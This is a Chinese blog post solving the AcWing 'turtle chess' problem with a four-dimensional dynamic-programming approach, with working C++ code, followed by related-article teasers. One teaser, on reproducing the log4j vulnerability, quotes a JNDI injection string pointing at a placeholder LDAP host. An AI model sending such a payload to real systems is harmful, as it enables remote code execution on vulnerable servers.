AcWing 312. 乌龟棋(每日一题)

原题链接:312. 乌龟棋 - AcWing题库

小明过生日的时候,爸爸送给他一副乌龟棋当作礼物。

乌龟棋的棋盘只有一行,该行有 N 个格子,每个格子上一个分数(非负整数)。

棋盘第 1 格是唯一的起点,第 N 格是终点,游戏要求玩家控制一个乌龟棋子从起点出发走到终点。

乌龟棋中共有 M 张爬行卡片,分成 4 种不同的类型(M 张卡片中不一定包含所有 4 种类型的卡片),每种类型的卡片上分别标有 1、2、3、4四个数字之一,表示使用这种卡片后,乌龟棋子将向前爬行相应的格子数。

游戏中,玩家每次需要从所有的爬行卡片中选择一张之前没有使用过的爬行卡片,控制乌龟棋子前进相应的格子数,每张卡片只能使用一次

游戏中,乌龟棋子自动获得起点格子的分数,并且在后续的爬行中每到达一个格子,就得到该格子相应的分数。

玩家最终游戏得分就是乌龟棋子从起点到终点过程中到过的所有格子的分数总和。

很明显,用不同的爬行卡片使用顺序会使得最终游戏的得分不同,小明想要找到一种卡片使用顺序使得最终游戏得分最多。

现在,告诉你棋盘上每个格子的分数和所有的爬行卡片,你能告诉小明,他最多能得到多少分吗?

输入格式

输入文件的每行中两个数之间用一个空格隔开。

第 1 行 2 个正整数 N 和 M,分别表示棋盘格子数和爬行卡片数。

第 2 行 N 个非负整数,a1,a2,……,aN,其中 ai 表示棋盘第 i 个格子上的分数。

第 3 行 M 个整数,b1,b2,……,bM,表示 M 张爬行卡片上的数字。

输入数据保证到达终点时刚好用光 M 张爬行卡片。

输出格式

输出只有 1 行,包含 1 个整数,表示小明最多能得到的分数。

数据范围

1≤N≤350,
1≤M≤120,
0≤ai≤100,
1≤bi≤4,
每种爬行卡片的张数不会超过 40。

输入样例:

9 5
6 10 14 2 8 8 18 5 17
1 3 1 2 1

输出样例:

73

解题思路:

此题标签是线性DP,暴力只可过两个样例点,此题DP状态的定义和描述是四维的定义,f[i][j][k][l]数组表示步数1用了i张步数2用了j张步数3用了k张步数4用了l张所获得最大分数,那么可以枚举步数的每一个状态,数组s统计卡牌步数的个数,最后求一下f[s[1]][s[2]][s[3]][s[4]],既每一张卡牌都用完,那么到达任意一个格子,状态转移可以又四个状态转移过来,f[i][j][k][l]=max(f[i-1][j][k][l],f[i][j-1][k][l],f[i][j][k-1][l],f[i][j][k][l-1])+当前值。即到达f[i][j][k][l],可以先走f[i-1][j][k][l],留一张步数为1的卡牌留到最后使用到达此时的点(1+i+2*j+3*k+4*l),同理f[i][j-1][k][l]为留一张步数为2的卡牌到最后一步使用到达(1+i+2*j+3*k+4*l)点……



代码实现:

#include <iostream>
#include <cstring>
#include <algorithm>
using namespace std;
const int N =355,M=45;
int n,m;
int a[N],s[N];//a是分数数组,s[i]表示跳i步卡牌有s[i]张
int f[M][M][M][M];
//f[i][j][k][l]数组表示步数1用了i张步数2用了j张步数3用了k张步数4用了l张所获得最大分数
int main(){
    cin>>n>>m;
    for(int i=1;i<=n;i++){
        cin>>a[i];
    }
    for(int i=1;i<=m;i++){
        int x;
        cin>>x;
        s[x]++;
    }
    f[0][0][0][0]=a[1];//初始为第一个格子,分数为第一个格子
    for(int A=0;A<=s[1];A++){//分别枚举卡牌1,2,3,4的个数
        for(int B=0;B<=s[2];B++){
            for(int C=0;C<=s[3];C++){
                for(int D=0;D<=s[4];D++){
                    int score=a[1+A+2*B+3*C+4*D];//可以到达点的分数
                    //前一个状态可以由少用1,2,3,4步的一张卡牌转移
                    if(A) f[A][B][C][D]=max(f[A][B][C][D],f[A-1][B][C][D]+score);
                    if(B) f[A][B][C][D]=max(f[A][B][C][D],f[A][B-1][C][D]+score);
                    if(C) f[A][B][C][D]=max(f[A][B][C][D],f[A][B][C-1][D]+score);
                    if(D) f[A][B][C][D]=max(f[A][B][C][D],f[A][B][C][D-1]+score);
                }
            }
        }
    }
    cout<<f[s[1]][s[2]][s[3]][s[4]]<<endl;
    return 0;
}

总结:

此种状态定义博主第一次遇到,最多的也就见过三维解决问题,像李白打酒,这个题状态的定义与描述很难想,开始寻思暴力能不能多拿点分,只能过两个样例,^—^,后来看了y总讲解,才知道用四维去定义,还是要多做题,DP问题只要能找到状态转移方程就基本解决了,博主感觉最难的还是状态的定义与描述。多做题积累经验,文章代码实现或者思路有错误的地方,请各位大佬指出,感激不尽*~*。

PS:上文两张图片均来自y总讲解 作者:yxc

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/519831.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

vue + koa + Sequelize + 阿里云部署 + 宝塔:宝塔数据库连接

之前文章已经介绍了宝塔上传前后端代码并部署&#xff0c;不清楚的请看这篇文章&#xff1a; vue koa 阿里云部署 宝塔&#xff1a;宝塔前后端部署 下面是宝塔创建数据库&#xff1a; 我用的 koa Sequelize 连接的数据库&#xff0c;Sequelize 非常适合前端使用&#xf…

Map源码解析

基本介绍 其实HashMap底层是个什么东西我们之前也讲过, 就是一个哈希桶(差不多可以看成一个数组), 然后每一个节点又连接着链表/红黑树之类的, 下面让我们看一看具体在源码上是怎样实现的: 常量及其它 -> static final int DEFAULT_INITIAL_CAPACITY 1 << 4; //这个…

springboot 在fegin调用中sdk集成主工程,A component required a bean of type.....

一 前景描述 1.1 总结 1.主工程启动类&#xff08;这里是FeginApp8081&#xff09;所在的路径&#xff0c;和调用sdk的类&#xff0c;这里是FeginJiekou接口类型&#xff0c;其所在目录和主工程目录启动一致。则不需要在启动加制定扫描注解。 主工程启动类路径&#xff1a;…

《C++程序设计》阅读笔记【4-指针(2)】

&#x1f308;个人主页&#xff1a;godspeed_lucip &#x1f525; 系列专栏&#xff1a;《C程序设计》阅读笔记 本文对应的PDF源文件请关注微信公众号程序员刘同学&#xff0c;回复C程序设计获取下载链接。 1 指针1.1 字符指针1.1.1 字符串的表示1.1.2 字符串的属性1.1.3 字符…

单片机之蜂鸣器

目录 蜂鸣器介绍 蜂鸣器的分类 发声原理分类 按有源无源分类 三极管驱动 蜂鸣器原理 音符与频率对照表 蜂鸣器播放130.8Hz的声音 仿真案例 蜂鸣器发声 电路图 keil文件 蜂鸣器播放音乐 歌曲数据获得 使用的频率 keil文件 蜂鸣器介绍 前言&#xff1a;蜂鸣器是…

【洛谷 P8655】[蓝桥杯 2017 国 B] 发现环 题解(邻接表+并查集+路径压缩)

[蓝桥杯 2017 国 B] 发现环 题目描述 小明的实验室有 N N N 台电脑&#xff0c;编号 1 ∼ N 1 \sim N 1∼N。原本这 N N N 台电脑之间有 N − 1 N-1 N−1 条数据链接相连&#xff0c;恰好构成一个树形网络。在树形网络上&#xff0c;任意两台电脑之间有唯一的路径相连。 …

深入理解Java异常处理机制(day20)

异常处理 异常处理是程序运行过程产生的异常情况进行恰当的处理技术 在计算机编程里面&#xff0c;异常的情况比所我们所想的异常情况还要多。 Java里面有两种异常处理方式&#xff1b; 1.利用trycatchfinaly语句处理异常&#xff0c;优点是分开了处理异常代码和程序正常代码…

如何在Ubuntu系统使用Nextcloud+Cpolar搭建可公网访问私人专属网盘

文章目录 1. 安装Docker2. 使用Docker拉取Nextcloud镜像3. 创建并启动Nextcloud容器4. 本地连接测试5. 公网远程访问本地Nextcloud容器5.1 内网穿透工具安装5.2 创建远程连接公网地址5.3 使用固定公网地址远程访问 正文开始前给大家推荐个网站&#xff0c;前些天发现了一个巨牛…

log4j漏洞复现

1、apache log4j 是java语言中的日志处理套件/程序。2.0-2.14.1存在JNDI注入漏洞&#xff0c;导致攻击者可以控制日志内容的情况下&#xff0c;传入${jndi:ldap://xxxxxx.com/rce}的参数进行JNDI注入&#xff0c;执行远程命令。 JNDI&#xff1a; 命名和目录接口&#xff0c;…

C盘清理指南

1&#xff0c;临时文件清理 %TEMP%是Windows系统临时文件的环境变量&#xff0c;直接作为指令执行可以打开当前系统的临时文件夹。许多用户通过删除该文件夹中的文件来清理Windows的临时文件&#xff0c;但实际上这样清理并不彻底&#xff0c;我们可以有更轻松、安全的方法。风…

【SCI绘图】【曲线图系列2 python】多类别标签对比的曲线图

SCI&#xff0c;CCF&#xff0c;EI及核心期刊绘图宝典&#xff0c;爆款持续更新&#xff0c;助力科研&#xff01; 本期分享&#xff1a; 【SCI绘图】【曲线图系列2 python】多类别标签对比的曲线图&#xff0c;文末附完整代码。 1.环境准备 python 3 import proplot as pp…

Java流操作解析:深度剖析中间操作、终端操作与并行处理机制

文章目录 一、中间操作1.1 过滤&#xff08;filter&#xff09;1.2 映射&#xff08;map&#xff09;1.3 排序&#xff08;sorted&#xff09;1.4 去重&#xff08;distinct&#xff09; 二、 终端操作2.1 收集&#xff08;collect&#xff09;2.2 计数&#xff08;count&#…

leetcode热题100.跳跃游戏2

Problem: 45. 跳跃游戏 II 文章目录 题目思路复杂度Code 题目 给定一个长度为 n 的 0 索引整数数组 nums。初始位置为 nums[0]。 每个元素 nums[i] 表示从索引 i 向前跳转的最大长度。换句话说&#xff0c;如果你在 nums[i] 处&#xff0c;你可以跳转到任意 nums[i j] 处: …

leetcode.24. 两两交换链表中的节点

题目 给定一个链表&#xff0c;两两交换其中相邻的节点&#xff0c;并返回交换后的链表。 你不能只是单纯的改变节点内部的值&#xff0c;而是需要实际的进行节点交换。 思路 创建虚拟头节点&#xff0c;画图&#xff0c;确认步骤。 实现 /*** Definition for singly-li…

C++运算符重载如何模拟数学表达式,或模拟Python sympy和numpy

在人工智能数学基础一书中&#xff0c;下面是一题Python求函数极限的例子&#xff1a; 【例2.6】使用Python编程求 lim( x → 1) (x^2 - 1 / x - 1) ————————————————————————————————————————— import sympy from sympy import oo…

详细剖析多线程3----代码案例分析

文章目录 一、单例模式(校招中最常考的设计模式之⼀)1.1饿汉模式1.2懒汉模式 二、阻塞队列三、定时器四、线程池五、总结 一、单例模式(校招中最常考的设计模式之⼀) 单例模式是一种设计模式&#xff0c;其核心思想是保证一个类只有一个实例&#xff0c;并提供一个全局访问点来…

Three.js阴影贴图

生成阴影贴图的步骤如下&#xff1a; 从光位置视点&#xff08;阴影相机&#xff09;创建深度图。从相机的角度进行屏幕渲染在每个像素点&#xff0c;将阴影相机的MVP矩阵计算出的深度值与深度图值进行比较如果深度图值较低&#xff0c;则说明该像素点存在阴影 &#xff0c;因…

html5如何在使用原生开发的情况下实现组件化

我们知道如何在vue/react中使用组件化开发&#xff0c;那么如果只是一个简单的界面&#xff0c;一个HTML就搞定的事情&#xff0c;你还会去新建一个vue/react项目吗&#xff1f; 在使用原生HTML开发时&#xff0c;我们也会遇到一些常见的功能、模块&#xff0c;那么如何在原生…

【APUE】网络socket编程温度采集智能存储与上报项目技术------多路复用

作者简介&#xff1a; 一个平凡而乐于分享的小比特&#xff0c;中南民族大学通信工程专业研究生在读&#xff0c;研究方向无线联邦学习 擅长领域&#xff1a;驱动开发&#xff0c;嵌入式软件开发&#xff0c;BSP开发 作者主页&#xff1a;一个平凡而乐于分享的小比特的个人主页…

无锡国家集成电路设计中心某公司的单锂小电机直流电机H桥驱动电路

H桥驱动 L9110S是一款直流电机驱动电路&#xff0c;适合单节锂电池应用。输出电流0.4A。价格约3毛。 推荐原因&#xff1a; 某些人应该知道这个地方&#xff0c;大多数人应该不知道这个地方&#xff0c;所以推荐一下。 这个地方去过几次&#xff0c;某公司与某方走的“近”&…